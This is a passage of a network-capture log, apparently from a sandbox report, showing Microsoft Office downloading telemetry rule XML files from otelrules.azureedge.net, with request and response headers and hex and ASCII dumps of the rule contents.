<C>
2024-11-20 15:51:40 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-20 15:51:40 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.9	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:42 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:42 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d9470d89-501e-0047-17f3-3ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155142Z-185f5d8b95cjbkr4hC1NYCeu240000000a7g00000000shgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:42 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.9	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:42 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:42 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 9aa0d2c2-401e-00ac-4ce9-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155142Z-r1d97b99577mrt4rhC1TEBftkc00000008w000000000n10s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:42 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.9	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:42 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:42 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155142Z-185f5d8b95csp6jmhC1NYCwy6s0000000ae0000000009a13 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:42 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.9	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:42 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:42 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:42 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 704d106f-e01e-0052-6c06-3bd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155142Z-r1d97b99577xdmfxhC1TEBqbhg00000000n000000000mprq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 15:51:42 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.9	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:42 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:42 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:42 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155142Z-185f5d8b95cqnkdjhC1NYCm8w80000000a5g00000000zc3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:42 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.9	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:44 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155144Z-185f5d8b95cgrrn8hC1NYCgwh40000000a8000000000r3y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.9	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:44 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 7a9720a2-e01e-0020-0a18-3bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155144Z-r1d97b99577l6wbzhC1TEB3fwn0000000990000000001x4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.9	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:44 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:44 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155144Z-r1d97b99577xdmfxhC1TEBqbhg00000000u00000000027qd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:45 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.9	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:44 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155144Z-185f5d8b95cx9g8lhC1NYCtgvc00000002t000000000kh8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:45 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.9	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:44 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:44 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155144Z-185f5d8b95cdtclvhC1NYC4rmc0000000ahg00000000ptqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:45 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.9	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:46 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:47 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155147Z-1777c6cb7544n7p6hC1TEByvb400000009x000000000khqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
